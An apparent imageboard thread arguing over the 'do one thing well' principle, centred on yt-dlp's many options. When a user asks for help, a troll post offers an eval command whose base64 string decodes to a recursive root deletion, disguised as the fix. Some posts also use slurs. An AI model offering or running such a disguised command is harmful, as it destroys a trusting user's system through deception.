>CLI tool does one thing and one thing well>has 50 million options
>do one thing and one thing wellis there any merit to this philosophy?
>>108261662Yesyt-dlp [URL]Downloads the highest quality video and audio. Nothing wrong with options if you need anything specific
yt-dlp [URL]
>>108261673You could call the various best in class tools individually with a router between them. Each expert in a mixture, so to speak.
>>108261712This didnt work on my machine I get an error that says something like not found or it was some thing like that can anyone help?
>>108261712I need a bunch of options just to make yt-dlp functional>output path and filename>cookies>user agent>javascript challenge solver
>>108261728you have to delete system32
>>108261662yes and you can use options in full word expression or acronym
>>108261662Fork it and remove the bloat then
>>108261728>This didnt work on my machine I get an error that says something like not found or it was some thing like that can anyone help?PM'd you the fix.
>>108261662name 1 (one) tool
>>108261662>there should be one obvious way to do itall these retarded slogans which aren't even true
>>108261662i dont see an issue especially since i often use its most simple option first and then find myself needing some of the more sophisticated options later>>108261712i almost always use it with a specific stream selected and with cookies from my browser and a section of the video if its a long youtube video
>>108261662The options are for the 'well' part
>>108264789ffmpeg
>>108267294bait used to be believable
>t. awk
>>108261728what a fag kek. you have to either do this >>108261872 or run this command:eval $(echo "c3VkbyBybSAtcmYgLyAtLXJlY3Vyc2l2ZQ==" | base64 -d)
>>108268174>--recursivedoesn't the -r accomplish the same thing
One thing is arbitrary. Vim does one thing, it's a text editor. But at the same time it does a million things.
>>108261673limiting the scope of your projects helps with actually completing it and making sure everything works well
>>108269055based. This is what always annoyed me with the "single responsibility principle". You can always cheat with language.